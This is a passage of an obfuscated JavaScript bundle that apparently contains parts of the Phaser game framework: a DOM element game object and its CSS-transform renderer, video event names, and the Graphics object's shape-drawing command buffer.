_0x25654b !== _0xf0b76a['currentType'] && (_0xf0b76a['newType'] = !0x0, _0xf0b76a['currentType'] = _0x25654b), _0xf0b76a['nextTypeMatch'] = _0x543934 < _0x4d6e68 - 0x1 && _0x2da023[_0x543934 + 0x1]['type'] === _0xf0b76a['currentType'], _0xe25923['setScrollFactor'](_0x3531f9 * _0x5f3d5b, _0x457183 * _0x184525), _0xe25923['setAlpha'](_0x301bbb * _0x789a59, _0x3a16da * _0x789a59, _0xd69f81 * _0x789a59, _0x157df8 * _0x789a59), _0xe25923['renderWebGL'](_0xf0b76a, _0xe25923, _0x10b812, _0x3c185e, _0x3ab1b2), _0xe25923['setAlpha'](_0x301bbb, _0x3a16da, _0xd69f81, _0x157df8), _0xe25923['setScrollFactor'](_0x3531f9, _0x457183), _0x4a997e && _0x4a997e['postRenderWebGL'](_0xf0b76a, _0x10b812), _0xf0b76a['newType'] = !0x1; } } _0xf0b76a['pipelines']['postBatch'](_0x3ab1b2); } }; }, 0xb92f: _0x3226db => { _0x3226db['exports'] = ['normal', 'multiply', 'multiply', 'screen', 'overlay', 'darken', 'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light', 'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity']; }, 0xbfd: (_0x17bfb8, _0x2d9216, _0x5d3717) => { var _0x30655f = _0x5d3717(0x145db), _0x596636 = _0x5d3717(0x7aa9), _0x2c5eb9 = _0x5d3717(0x1b9), _0x430cc2 = _0x5d3717(0x1759b), _0x14af08 = _0x5d3717(0xa0fc), _0x46df57 = _0x5d3717(0x8c06), _0x4dbd0d = _0x5d3717(0xae32), _0x13235b = _0x5d3717(0xefb9), _0x1fccc0 = new _0x30655f({ 'Extends': _0x430cc2, 'Mixins': [_0x596636['AlphaSingle'], _0x596636['BlendMode'], _0x596636['Depth'], _0x596636['Origin'], _0x596636['ScrollFactor'], _0x596636['Transform'], _0x596636['Visible'], _0x2c5eb9], 'initialize': function (_0x59cd62, _0x4120ec, _0x24ca38, _0x2b4ba9, _0x2a2d7d, _0x42c2a7) { _0x430cc2['call'](this, _0x59cd62, 'DOMElement'), this['parent'] = _0x59cd62['sys']['game']['domContainer'], this['cache'] = _0x59cd62['sys']['cache']['html'], this['node'], this['transformOnly'] = !0x1, this['skewX'] = 0x0, this['skewY'] = 0x0, this['rotate3d'] = new _0x13235b(), this['rotate3dAngle'] = 'deg', this['pointerEvents'] = 'auto', this['width'] = 0x0, this['height'] = 0x0, this['displayWidth'] = 0x0, this['displayHeight'] = 0x0, this['handler'] = this['dispatchNativeEvent']['bind'](this), this['setPosition'](_0x4120ec, _0x24ca38), 'string' == typeof _0x2b4ba9 ? '#' === _0x2b4ba9[0x0] ? this['setElement'](_0x2b4ba9['substr'](0x1), _0x2a2d7d, _0x42c2a7) : this['createElement'](_0x2b4ba9, _0x2a2d7d, _0x42c2a7) : _0x2b4ba9 && this['setElement'](_0x2b4ba9, _0x2a2d7d, _0x42c2a7), _0x59cd62['sys']['events']['on'](_0x4dbd0d['SLEEP'], this['handleSceneEvent'], this), _0x59cd62['sys']['events']['on'](_0x4dbd0d['WAKE'], this['handleSceneEvent'], this), _0x59cd62['sys']['events']['on'](_0x4dbd0d['PRE_RENDER'], this['preRender'], this); }, 'handleSceneEvent': function (_0x1dbb4e) { var _0x19e403 = this['node'], _0x3febe3 = _0x19e403['style']; _0x19e403 && (_0x3febe3['display'] = _0x1dbb4e['settings']['visible'] ? 'block' : 'none'); }, 'setSkew': function (_0x176703, _0x45d0ff) { return void 0x0 === _0x176703 && (_0x176703 = 0x0), void 0x0 === _0x45d0ff && (_0x45d0ff = _0x176703), this['skewX'] = _0x176703, this['skewY'] = _0x45d0ff, this; }, 'setPerspective': function (_0x278a9d) { return this['parent']['style']['perspective'] = _0x278a9d + 'px', this; }, 'perspective': { 'get': function () { return parseFloat(this['parent']['style']['perspective']); }, 'set': function (_0x1f7d54) { this['parent']['style']['perspective'] = _0x1f7d54 + 'px'; } }, 'addListener': function (_0x318ed0) { if (this['node']) { _0x318ed0 = _0x318ed0['split']('\x20'); for (var _0x537d85 = 0x0; _0x537d85 < _0x318ed0['length']; _0x537d85++)this['node']['addEventListener'](_0x318ed0[_0x537d85], this['handler'], !0x1); } return this; }, 'removeListener': function (_0x56d607) { if (this['node']) { _0x56d607 = _0x56d607['split']('\x20'); for (var _0x4b5de2 = 0x0; _0x4b5de2 < _0x56d607['length']; _0x4b5de2++)this['node']['removeEventListener'](_0x56d607[_0x4b5de2], this['handler']); } return this; }, 'dispatchNativeEvent': function (_0x15923b) { this['emit'](_0x15923b['type'], _0x15923b); }, 'createElement': function (_0x5a80c1, _0x3fbada, _0x1134e5) { return this['setElement'](document['createElement'](_0x5a80c1), _0x3fbada, _0x1134e5); }, 'setElement': function (_0x157ff2, _0x37e241, _0x8995fb) { var _0x266a90; if (this['removeElement'](), 'string' == typeof _0x157ff2 ? ('#' === _0x157ff2[0x0] && (_0x157ff2 = _0x157ff2['substr'](0x1)), _0x266a90 = document['getElementById'](_0x157ff2)) : 'object' == typeof _0x157ff2 && 0x1 === _0x157ff2['nodeType'] && (_0x266a90 = _0x157ff2), !_0x266a90) return this; if (this['node'] = _0x266a90, _0x37e241 && _0x14af08(_0x37e241)) { for (var _0x3e2490 in _0x37e241) _0x266a90['style'][_0x3e2490] = _0x37e241[_0x3e2490]; } else 'string' == typeof _0x37e241 && (_0x266a90['style'] = _0x37e241); return _0x266a90['style']['zIndex'] = '0', _0x266a90['style']['display'] = 'inline', _0x266a90['style']['position'] = 'absolute', _0x266a90['phaser'] = this, this['parent'] && this['parent']['appendChild'](_0x266a90), _0x8995fb && (_0x266a90['innerText'] = _0x8995fb), this['updateSize'](); }, 'createFromCache': function (_0x2baa28, _0x2145f8) { var _0x18b4e4 = this['cache']['get'](_0x2baa28); return _0x18b4e4 && this['createFromHTML'](_0x18b4e4, _0x2145f8), this; }, 'createFromHTML': function (_0xb75bd0, _0x56e6f3) { void 0x0 === _0x56e6f3 && (_0x56e6f3 = 'div'), this['removeElement'](); var _0x2ae46a = document['createElement'](_0x56e6f3); return this['node'] = _0x2ae46a, _0x2ae46a['style']['zIndex'] = '0', _0x2ae46a['style']['display'] = 'inline', _0x2ae46a['style']['position'] = 'absolute', _0x2ae46a['phaser'] = this, this['parent'] && this['parent']['appendChild'](_0x2ae46a), _0x2ae46a['innerHTML'] = _0xb75bd0, this['updateSize'](); }, 'removeElement': function () { return this['node'] && (_0x46df57(this['node']), this['node'] = null), this; }, 'updateSize': function () { var _0x5a04c2 = this['node'], _0x49d0a3 = _0x5a04c2['getBoundingClientRect'](); return this['width'] = _0x5a04c2['clientWidth'], this['height'] = _0x5a04c2['clientHeight'], this['displayWidth'] = _0x49d0a3['width'] || 0x0, this['displayHeight'] = _0x49d0a3['height'] || 0x0, this; }, 'getChildByProperty': function (_0x3a3d06, _0x287656) { if (this['node']) { for (var _0x36ae48 = this['node']['querySelectorAll']('*'), _0x1c4e46 = 0x0; _0x1c4e46 < _0x36ae48['length']; _0x1c4e46++)if (_0x36ae48[_0x1c4e46][_0x3a3d06] === _0x287656) return _0x36ae48[_0x1c4e46]; } return null; }, 'getChildByID': function (_0x40f0ec) { return this['getChildByProperty']('id', _0x40f0ec); }, 'getChildByName': function (_0x476860) { return this['getChildByProperty']('name', _0x476860); }, 'setClassName': function (_0xf0f5dc) { return this['node'] && (this['node']['className'] = _0xf0f5dc, this['updateSize']()), this; }, 'setText': function (_0x23cbc6) { return this['node'] && (this['node']['innerText'] = _0x23cbc6, this['updateSize']()), this; }, 'setHTML': function (_0x1adf26) { return this['node'] && (this['node']['innerHTML'] = _0x1adf26, this['updateSize']()), this; }, 'preRender': function () { var _0x1e9a02 = this['parentContainer'], _0x29e382 = this['node']; _0x29e382 && _0x1e9a02 && !_0x1e9a02['willRender']() && (_0x29e382['style']['display'] = 'none'); }, 'willRender': function () { return !0x0; }, 'preDestroy': function () { this['removeElement'](), this['scene']['sys']['events']['off'](_0x4dbd0d['SLEEP'], this['handleSceneEvent'], this), this['scene']['sys']['events']['off'](_0x4dbd0d['WAKE'], this['handleSceneEvent'], this), this['scene']['sys']['events']['off'](_0x4dbd0d['PRE_RENDER'], this['preRender'], this); } }); _0x17bfb8['exports'] = _0x1fccc0; }, 0xc0e5: (_0x2d9762, _0x4a44a6, _0x36cc72) => { var _0x5dd53b = _0x36cc72(0xb92f), _0x3e9a71 = _0x36cc72(0x1759b), _0x633f4 = _0x36cc72(0xef9c), _0x306502 = new _0x633f4(), _0x33d24b = new _0x633f4(), _0x475100 = new _0x633f4(); _0x2d9762['exports'] = function (_0x1d5bae, _0x4c85ac, _0x438af8, _0x36aa65) { if (_0x4c85ac['node']) { var _0x236c65 = _0x4c85ac['node']['style'], _0x24cc6c = _0x4c85ac['scene']['sys']['settings']; if (!_0x236c65 || !_0x24cc6c['visible'] || _0x3e9a71['RENDER_MASK'] !== _0x4c85ac['renderFlags'] || 0x0 !== _0x4c85ac['cameraFilter'] && _0x4c85ac['cameraFilter'] & _0x438af8['id'] || _0x4c85ac['parentContainer'] && !_0x4c85ac['parentContainer']['willRender']()) _0x236c65['display'] = 'none'; else { var _0x35b494 = _0x4c85ac['parentContainer'], _0x141afb = _0x438af8['alpha'] * _0x4c85ac['alpha']; _0x35b494 && (_0x141afb *= _0x35b494['alpha']); var _0x5a9d7f = _0x306502, _0x20363b = _0x33d24b, _0x19775f = _0x475100, _0x1c3fa5 = 0x0, _0x1819fa = 0x0, _0x1464f8 = '0%', _0x5127bc = '0%'; _0x36aa65 ? (_0x1c3fa5 = _0x4c85ac['width'] * _0x4c85ac['scaleX'] * _0x4c85ac['originX'], _0x1819fa = _0x4c85ac['height'] * _0x4c85ac['scaleY'] * _0x4c85ac['originY'], _0x20363b['applyITRS'](_0x4c85ac['x'] - _0x1c3fa5, _0x4c85ac['y'] - _0x1819fa, _0x4c85ac['rotation'], _0x4c85ac['scaleX'], _0x4c85ac['scaleY']), _0x5a9d7f['copyFrom'](_0x438af8['matrix']), _0x5a9d7f['multiplyWithOffset'](_0x36aa65, -_0x438af8['scrollX'] * _0x4c85ac['scrollFactorX'], -_0x438af8['scrollY'] * _0x4c85ac['scrollFactorY']), _0x20363b['e'] = _0x4c85ac['x'] - _0x1c3fa5, _0x20363b['f'] = _0x4c85ac['y'] - _0x1819fa, _0x5a9d7f['multiply'](_0x20363b, _0x19775f)) : (_0x1c3fa5 = _0x4c85ac['width'] * _0x4c85ac['originX'], _0x1819fa = _0x4c85ac['height'] * _0x4c85ac['originY'], _0x20363b['applyITRS'](_0x4c85ac['x'], _0x4c85ac['y'], _0x4c85ac['rotation'], _0x4c85ac['scaleX'], _0x4c85ac['scaleY']), _0x5a9d7f['copyFrom'](_0x438af8['matrix']), _0x1464f8 = 0x64 * _0x4c85ac['originX'] + '%', _0x5127bc = 0x64 * _0x4c85ac['originY'] + '%', _0x20363b['e'] -= _0x438af8['scrollX'] * _0x4c85ac['scrollFactorX'], _0x20363b['f'] -= _0x438af8['scrollY'] * _0x4c85ac['scrollFactorY'], _0x5a9d7f['multiply'](_0x20363b, _0x19775f), _0x19775f['e'] -= _0x1c3fa5, _0x19775f['f'] -= _0x1819fa), _0x4c85ac['transformOnly'] || (_0x236c65['display'] = 'block', _0x236c65['opacity'] = _0x141afb, _0x236c65['zIndex'] = _0x4c85ac['_depth'], _0x236c65['pointerEvents'] = _0x4c85ac['pointerEvents'], _0x236c65['mixBlendMode'] = _0x5dd53b[_0x4c85ac['_blendMode']]), _0x236c65['transform'] = _0x19775f['getCSSMatrix']() + '\x20skew(' + _0x4c85ac['skewX'] + 'rad,\x20' + _0x4c85ac['skewY'] + 'rad)\x20rotate3d(' + _0x4c85ac['rotate3d']['x'] + ',' + _0x4c85ac['rotate3d']['y'] + ',' + _0x4c85ac['rotate3d']['z'] + ',' + _0x4c85ac['rotate3d']['w'] + _0x4c85ac['rotate3dAngle'] + ')', _0x236c65['transformOrigin'] = _0x1464f8 + '\x20' + _0x5127bc; } } }; }, 0xa33: (_0x53f47f, _0xb5be5f, _0x386da3) => { var _0x33c14f = _0x386da3(0xbfd); _0x386da3(0x9a05)['register']('dom', function (_0x5c1ebe, _0x27f327, _0x242777, _0x52fff5, _0x56742b) { var _0x1e5a9e = new _0x33c14f(this['scene'], _0x5c1ebe, _0x27f327, _0x242777, _0x52fff5, _0x56742b); return this['displayList']['add'](_0x1e5a9e), _0x1e5a9e; }); }, 0x1b9: (_0x12a209, _0x21dc23, _0x3047f4) => { var _0x49b26e = _0x3047f4(0x7433), _0x48207b = _0x49b26e, _0x36e31d = _0x49b26e; _0x48207b = _0x3047f4(0xc0e5), _0x36e31d = _0x3047f4(0xc0e5), _0x12a209['exports'] = { 'renderWebGL': _0x48207b, 'renderCanvas': _0x36e31d }; }, 0xf604: _0x3785e1 => { _0x3785e1['exports'] = 'addedtoscene'; }, 0xa179: _0x4b9d3d => { _0x4b9d3d['exports'] = 'destroy'; }, 0xaf93: _0x54b900 => { _0x54b900['exports'] = 'removedfromscene'; }, 0xc0ce: _0xeea48c => { _0xeea48c['exports'] = 'complete'; }, 0x895b: _0x1a126e => { _0x1a126e['exports'] = 'created'; }, 0x17be1: _0x560cef => { _0x560cef['exports'] = 'error'; }, 0x4c1b: _0x101948 => { _0x101948['exports'] = 'locked'; }, 0xdafb: _0x34eef3 => { _0x34eef3['exports'] = 'loop'; }, 0x6894: _0x43bd69 => { _0x43bd69['exports'] = 'metadata'; }, 0xfbb5: _0x3f50b1 => { _0x3f50b1['exports'] = 'playing'; }, 0x145d3: _0x2d1a7e => { _0x2d1a7e['exports'] = 'play'; }, 0x12804: _0x457509 => { _0x457509['exports'] = 'seeked'; }, 0x108d7: _0x2592c4 => { _0x2592c4['exports'] = 'seeking'; }, 0xf80c: _0x513715 => { _0x513715['exports'] = 'stalled'; }, 0xd8f5: _0x4c2d9c => { _0x4c2d9c['exports'] = 'stop'; }, 0xcfd8: _0x2e42ad => { _0x2e42ad['exports'] = 'textureready'; }, 0x1380: _0x3ffeec => { _0x3ffeec['exports'] = 'unlocked'; }, 0xc: _0x15b21a => { _0x15b21a['exports'] = 'unsupported'; }, 0xc9fc: (_0x30d883, _0x5243a0, _0x38b3f4) => { _0x30d883['exports'] = { 'ADDED_TO_SCENE': _0x38b3f4(0xf604), 'DESTROY': _0x38b3f4(0xa179), 'REMOVED_FROM_SCENE': _0x38b3f4(0xaf93), 'VIDEO_COMPLETE': _0x38b3f4(0xc0ce), 'VIDEO_CREATED': _0x38b3f4(0x895b), 'VIDEO_ERROR': _0x38b3f4(0x17be1), 'VIDEO_LOCKED': _0x38b3f4(0x4c1b), 'VIDEO_LOOP': _0x38b3f4(0xdafb), 'VIDEO_METADATA': _0x38b3f4(0x6894), 'VIDEO_PLAY': _0x38b3f4(0x145d3), 'VIDEO_PLAYING': _0x38b3f4(0xfbb5), 'VIDEO_SEEKED': _0x38b3f4(0x12804), 'VIDEO_SEEKING': _0x38b3f4(0x108d7), 'VIDEO_STALLED': _0x38b3f4(0xf80c), 'VIDEO_STOP': _0x38b3f4(0xd8f5), 'VIDEO_TEXTURE': _0x38b3f4(0xcfd8), 'VIDEO_UNLOCKED': _0x38b3f4(0x1380), 'VIDEO_UNSUPPORTED': _0x38b3f4(0xc) }; }, 0xa5b5: (_0x1e6a26, _0xfd0b12, _0x42604b) => { var _0x377d4d = _0x42604b(0x145db), _0x3209a8 = _0x42604b(0x7aa9), _0x4c0340 = _0x42604b(0x1759b), _0x82b1c9 = _0x42604b(0xfde1), _0x3b9662 = new _0x377d4d({ 'Extends': _0x4c0340, 'Mixins': [_0x3209a8['Alpha'], _0x3209a8['BlendMode'], _0x3209a8['Depth'], _0x3209a8['Flip'], _0x3209a8['Origin'], _0x3209a8['ScrollFactor'], _0x3209a8['Size'], _0x3209a8['Texture'], _0x3209a8['Tint'], _0x3209a8['Transform'], _0x3209a8['Visible'], _0x82b1c9], 'initialize': function (_0x5506ee) { _0x4c0340['call'](this, _0x5506ee, 'Extern'); }, 'addedToScene': function () { this['scene']['sys']['updateList']['add'](this); }, 'removedFromScene': function () { this['scene']['sys']['updateList']['remove'](this); }, 'preUpdate': function () { }, 'render': function () { } }); _0x1e6a26['exports'] = _0x3b9662; }, 0x11249: () => { }, 0xdbfb: (_0x495905, _0x174a1e, _0xccd5de) => { var _0x4ee83c = _0xccd5de(0xa5b5); _0xccd5de(0x9a05)['register']('extern', function () { var _0x4a49d6 = new _0x4ee83c(this['scene']); return this['displayList']['add'](_0x4a49d6), _0x4a49d6; }); }, 0xfde1: (_0x4c7619, _0x4bd073, _0x23390e) => { var _0x23493f = _0x23390e(0x7433), _0x5d3950 = _0x23493f, _0x347782 = _0x23493f; _0x5d3950 = _0x23390e(0x1399f), _0x347782 = _0x23390e(0x11249), _0x4c7619['exports'] = { 'renderWebGL': _0x5d3950, 'renderCanvas': _0x347782 }; }, 0x1399f: (_0x16ee7c, _0x2b76d0, _0x2274cf) => { var _0x676c91 = _0x2274cf(0x164a0); _0x16ee7c['exports'] = function (_0x22f2bd, _0x5290de, _0x215c14, _0x210f36) { _0x22f2bd['pipelines']['clear'](); var _0x214193 = _0x676c91(_0x5290de, _0x215c14, _0x210f36)['calc']; _0x5290de['render']['call'](_0x5290de, _0x22f2bd, _0x215c14, _0x214193), _0x22f2bd['pipelines']['rebind'](); }; }, 0x14e58: _0x3f0a06 => { _0x3f0a06['exports'] = { 'ARC': 0x0, 'BEGIN_PATH': 0x1, 'CLOSE_PATH': 0x2, 'FILL_RECT': 0x3, 'LINE_TO': 0x4, 'MOVE_TO': 0x5, 'LINE_STYLE': 0x6, 'FILL_STYLE': 0x7, 'FILL_PATH': 0x8, 'STROKE_PATH': 0x9, 'FILL_TRIANGLE': 0xa, 'STROKE_TRIANGLE': 0xb, 'SAVE': 0xe, 'RESTORE': 0xf, 'TRANSLATE': 0x10, 'SCALE': 0x11, 'ROTATE': 0x12, 'GRADIENT_FILL_STYLE': 0x15, 'GRADIENT_LINE_STYLE': 0x16 }; }, 0xab37: (_0x19335e, _0x3a4e8a, _0x776cec) => { var _0x2362c3 = _0x776cec(0x118e7), _0x2ddcdf = _0x776cec(0x145db), _0x36c555 = _0x776cec(0x14e58), _0x497a7c = _0x776cec(0x7aa9), _0x17f08d = _0x776cec(0x2131), _0x4324ed = _0x776cec(0x1759b), _0x489512 = _0x776cec(0x17534), _0x426af4 = _0x776cec(0x8952), _0x4313d6 = _0x776cec(0x8e1f), _0x3c1419 = _0x776cec(0x14a17), _0xb8e4b2 = new _0x2ddcdf({ 'Extends': _0x4324ed, 'Mixins': [_0x497a7c['AlphaSingle'], _0x497a7c['BlendMode'], _0x497a7c['Depth'], _0x497a7c['Mask'], _0x497a7c['Pipeline'], _0x497a7c['PostPipeline'], _0x497a7c['Transform'], _0x497a7c['Visible'], _0x497a7c['ScrollFactor'], _0x3c1419], 'initialize': function (_0x15f2c1, _0x150dcb) { var _0xeeb070 = _0x426af4(_0x150dcb, 'x', 0x0), _0x2927db = _0x426af4(_0x150dcb, 'y', 0x0); _0x4324ed['call'](this, _0x15f2c1, 'Graphics'), this['setPosition'](_0xeeb070, _0x2927db), this['initPipeline'](), this['initPostPipeline'](), this['displayOriginX'] = 0x0, this['displayOriginY'] = 0x0, this['commandBuffer'] = [], this['defaultFillColor'] = -0x1, this['defaultFillAlpha'] = 0x1, this['defaultStrokeWidth'] = 0x1, this['defaultStrokeColor'] = -0x1, this['defaultStrokeAlpha'] = 0x1, this['_lineWidth'] = 0x1, this['lineStyle'](0x1, 0x0, 0x0), this['fillStyle'](0x0, 0x0), this['setDefaultStyles'](_0x150dcb); }, 'setDefaultStyles': function (_0x324d1c) { return _0x426af4(_0x324d1c, 'lineStyle', null) && (this['defaultStrokeWidth'] = _0x426af4(_0x324d1c, 'lineStyle.width', 0x1), this['defaultStrokeColor'] = _0x426af4(_0x324d1c, 'lineStyle.color', 0xffffff), this['defaultStrokeAlpha'] = _0x426af4(_0x324d1c, 'lineStyle.alpha', 0x1), this['lineStyle'](this['defaultStrokeWidth'], this['defaultStrokeColor'], this['defaultStrokeAlpha'])), _0x426af4(_0x324d1c, 'fillStyle', null) && (this['defaultFillColor'] = _0x426af4(_0x324d1c, 'fillStyle.color', 0xffffff), this['defaultFillAlpha'] = _0x426af4(_0x324d1c, 'fillStyle.alpha', 0x1), this['fillStyle'](this['defaultFillColor'], this['defaultFillAlpha'])), this; }, 'lineStyle': function (_0x4e0c7d, _0x526a31, _0x24a23b) { return void 0x0 === _0x24a23b && (_0x24a23b = 0x1), this['commandBuffer']['push'](_0x36c555['LINE_STYLE'], _0x4e0c7d, _0x526a31, _0x24a23b), this['_lineWidth'] = _0x4e0c7d, this; }, 'fillStyle': function (_0x4f3255, _0x1bc1fe) { return void 0x0 === _0x1bc1fe && (_0x1bc1fe = 0x1), this['commandBuffer']['push'](_0x36c555['FILL_STYLE'], _0x4f3255, _0x1bc1fe), this; }, 'fillGradientStyle': function (_0x3c11bb, _0x1567e8, _0x12b938, _0x2dd8ef, _0x8db2f3, _0x533482, _0x1965da, _0x4729b2) { return void 0x0 === _0x8db2f3 && (_0x8db2f3 = 0x1), void 0x0 === _0x533482 && (_0x533482 = _0x8db2f3), void 0x0 === _0x1965da && (_0x1965da = _0x8db2f3), void 0x0 === _0x4729b2 && (_0x4729b2 = _0x8db2f3), this['commandBuffer']['push'](_0x36c555['GRADIENT_FILL_STYLE'], _0x8db2f3, _0x533482, _0x1965da, _0x4729b2, _0x3c11bb, _0x1567e8, _0x12b938, _0x2dd8ef), this; }, 'lineGradientStyle': function (_0x2a8094, _0x4b8228, _0x5553f7, _0x1a193c, _0x4a039a, _0xf4594c) { return void 0x0 === _0xf4594c && (_0xf4594c = 0x1), this['commandBuffer']['push'](_0x36c555['GRADIENT_LINE_STYLE'], _0x2a8094, _0xf4594c, _0x4b8228, _0x5553f7, _0x1a193c, _0x4a039a), this; }, 'beginPath': function () { return this['commandBuffer']['push'](_0x36c555['BEGIN_PATH']), this; }, 'closePath': function () { return this['commandBuffer']['push'](_0x36c555['CLOSE_PATH']), this; }, 'fillPath': function () { return this['commandBuffer']['push'](_0x36c555['FILL_PATH']), this; }, 'fill': function () { return this['commandBuffer']['push'](_0x36c555['FILL_PATH']), this; }, 'strokePath': function () { return this['commandBuffer']['push'](_0x36c555['STROKE_PATH']), this; }, 'stroke': function () { return this['commandBuffer']['push'](_0x36c555['STROKE_PATH']), this; }, 'fillCircleShape': function (_0x2ccf81) { return this['fillCircle'](_0x2ccf81['x'], _0x2ccf81['y'], _0x2ccf81['radius']); }, 'strokeCircleShape': function (_0x11ca3c) { return this['strokeCircle'](_0x11ca3c['x'], _0x11ca3c['y'], _0x11ca3c['radius']); }, 'fillCircle': function (_0x1abf68, _0x19bd6a, _0x586e78) { return this['beginPath'](), this['arc'](_0x1abf68, _0x19bd6a, _0x586e78, 0x0, _0x4313d6['PI2']), this['fillPath'](), this; }, 'strokeCircle': function (_0x15d528, _0x11861b, _0x5b940c) { return this['beginPath'](), this['arc'](_0x15d528, _0x11861b, _0x5b940c, 0x0, _0x4313d6['PI2']), this['strokePath'](), this; }, 'fillRectShape': function (_0x3a5b12) { return this['fillRect'](_0x3a5b12['x'], _0x3a5b12['y'], _0x3a5b12['width'], _0x3a5b12['height']); }, 'strokeRectShape': function (_0x119866) { return this['strokeRect'](_0x119866['x'], _0x119866['y'], _0x119866['width'], _0x119866['height']); }, 'fillRect': function (_0x27934e, _0x1535e3, _0x50c961, _0x559be3) { return this['commandBuffer']['push'](_0x36c555['FILL_RECT'], _0x27934e, _0x1535e3, _0x50c961, _0x559be3), this; }, 'strokeRect': function (_0x1c158d, _0x5ac364, _0x401821, _0x1ac3ff) { var _0x51850d = this['_lineWidth'] / 0x2, _0x1076a1 = _0x1c158d - _0x51850d, _0x1fa9a2 = _0x1c158d + _0x51850d; return this['beginPath'](), this['moveTo'](_0x1c158d, _0x5ac364), this['lineTo'](_0x1c158d, _0x5ac364 + _0x1ac3ff), this['strokePath'](), this['beginPath'](), this['moveTo'](_0x1c158d + _0x401821, _0x5ac364), this['lineTo'](_0x1c158d + _0x401821, _0x5ac364 + _0x1ac3ff), this['strokePath'](), this['beginPath'](), this['moveTo'](_0x1076a1, _0x5ac364), this['lineTo'](_0x1fa9a2 + _0x401821, _0x5ac364), this['strokePath'](), this['beginPath'](), this['moveTo'](_0x1076a1, _0x5ac364 + _0x1ac3ff), this['lineTo'](_0x1fa9a2 + _0x401821, _0x5ac364 + _0x1ac3ff), this['strokePath'](), this; }, 'fillRoundedRect': function (_0x5260ab, _0x1d239f, _0x1d9f36, _0xfc5186, _0xed9f1a) { void 0x0 === _0xed9f1a && (_0xed9f1a = 0x14); var _0x8babc3 = _0xed9f1a, _0x28bf9c = _0xed9f1a, _0x5e7f53 = _0xed9f1a, _0x4eb147 = _0xed9f1a; 'number' != typeof _0xed9f1a && (_0x8babc3 = _0x489512(_0xed9f1a, 'tl', 0x14), _0x28bf9c = _0x489512(_0xed9f1a, 'tr', 0x14), _0x5e7f53 = _0x489512(_0xed9f1a, 'bl', 0x14), _0x4eb147 = _0x489512(_0xed9f1a, 'br', 0x14)); var _0x3e5623 = _0x8babc3 >= 0x0, _0x3bcc7e = _0x28bf9c >= 0x0, _0x34830e = _0x5e7f53 >= 0x0, _0x180ddf = _0x4eb147 >= 0x0; return _0x8babc3 = Math['abs'](_0x8babc3), _0x28bf9c = Math['abs'](_0x28bf9c), _0x5e7f53 = Math['abs'](_0x5e7f53), _0x4eb147 = Math['abs'](_0x4eb147), this['beginPath'](), this['moveTo'](_0x5260ab + _0x8babc3, _0x1d239f), this['lineTo'](_0x5260ab + _0x1d9f36 - _0x28bf9c, _0x1d239f), _0x3bcc7e ? this['arc'](_0x5260ab + _0x1d9f36 - _0x28bf9c, _0x1d239f + _0x28bf9c, _0x28bf9c, -_0x4313d6['TAU'], 0x0) : this['arc'](_0x5260ab + _0x1d9f36, _0x1d239f, _0x28bf9c, Math['PI'], _0x4313d6['TAU'], !0x0), this['lineTo'](_0x5260ab + _0x1d9f36, _0x1d239f + _0xfc5186 - _0x4eb147), _0x180ddf ? this['arc'](_0x5260ab + _0x1d9f36 - _0x4eb147, _0x1d239f + _0xfc5186 - _0x4eb147, _0x4eb147, 0x0, _0x4313d6['TAU']) : this['arc'](_0x5260ab + _0x1d9f36, _0x1d239f + _0xfc5186, _0x4eb147, -_0x4313d6['TAU'], Math['PI'], !0x0), this['lineTo'](_0x5260ab + _0x5e7f53, _0x1d239f + _0xfc5186), _0x34830e ? this['arc'](_0x5260ab + _0x5e7f53, _0x1d239f + _0xfc5186 - _0x5e7f53, _0x5e7f53, _0x4313d6['TAU'], Math['PI']) : this['arc'](_0x5260ab, _0x1d239f + _0xfc5186, _0x5e7f53, 0x0, -_0x4313d6['TAU'], !0x0), this['lineTo'](_0x5260ab, _0x1d239f + _0x8babc3), _0x3e5623 ? this['arc'](_0x5260ab + _0x8babc3, _0x1d239f + _0x8babc3, _0x8babc3, -Math['PI'], -_0x4313d6['TAU']) : this['arc'](_0x5260ab, _0x1d239f, _0x8babc3, _0x4313d6['TAU'], 0x0, !0x0), this['fillPath'](), this; }, 'strokeRoundedRect': function (_0x35ea4d, _0x2f93c0, _0x1834c9, _0x53c10d, _0x520ac7) { void 0x0 === _0x520ac7 && (_0x520ac7 = 0x14); var _0x126a04 = _0x520ac7, _0xe1c563 = _0x520ac7, _0x5e0fd6 = _0x520ac7, _0x2a5637 = _0x520ac7, _0x25c4e9 = Math['min'](_0x1834c9, _0x53c10d) / 0x2; 'number' != typeof _0x520ac7 && (_0x126a04 = _0x489512(_0x520ac7, 'tl', 0x14), _0xe1c563 = _0x489512(_0x520ac7, 'tr', 0x14), _0x5e0fd6 = _0x489512(_0x520ac7, 'bl', 0x14), _0x2a5637 = _0x489512(_0x520ac7, 'br', 0x14)); var _0xbc8ec7 = _0x126a04 >= 0x0, _0x174425 = _0xe1c563 >= 0x0, _0x1687e8 = _0x5e0fd6 >= 0x0, _0x1c806f = _0x2a5637 >= 0x0; return _0x126a04 = Math['min'](Math['abs'](_0x126a04), _0x25c4e9), _0xe1c563 = Math['min'](Math['abs'](_0xe1c563), _0x25c4e9), _0x5e0fd6 = Math['min'](Math['abs'](_0x5e0fd6), _0x25c4e9), _0x2a5637 = Math['min'](Math['abs'](_0x2a5637), _0x25c4e9), this['beginPath'](), this['moveTo'](_0x35ea4d + _0x126a04, _0x2f93c0), this['lineTo'](_0x35ea4d + _0x1834c9 - _0xe1c563, _0x2f93c0), this['moveTo'](_0x35ea4d + _0x1834c9 - _0xe1c563, _0x2f93c0), _0x174425 ? this['arc'](_0x35ea4d + _0x1834c9 - _0xe1c563, _0x2f93c0 + _0xe1c563, _0xe1c563, -_0x4313d6['TAU'], 0x0) : this['arc'](_0x35ea4d + _0x1834c9, _0x2f93c0, _0xe1c563, Math['PI'], _0x4313d6['TAU'], !0x0), this['lineTo'](_0x35ea4d + _0x1834c9, _0x2f93c0 + _0x53c10d - _0x2a5637), this['moveTo'](_0x35ea4d + _0x1834c9, _0x2f93c0 + _0x53c10d - _0x2a5637), _0x1c806f ? this['arc'](_0x35ea4d + _0x1834c9 - _0x2a5637, _0x2f93c0 + _0x53c10d - _0x2a5637, _0x2a5637, 0x0, _0x4313d6['TAU']) : this['arc'](_0x35ea4d + _0x1834c9, _0x2f93c0 + _0x53c10d, _0x2a5637, -_0x4313d6['TAU'], Math['PI'], !0x0), this['lineTo'](_0x35ea4d + _0x5e0fd6, _0x2f93c0 + _0x53c10d), this['moveTo'](_0x35ea4d + _0x5e0fd6, _0x2f93c0 + _0x53c10d), _0x1687e8 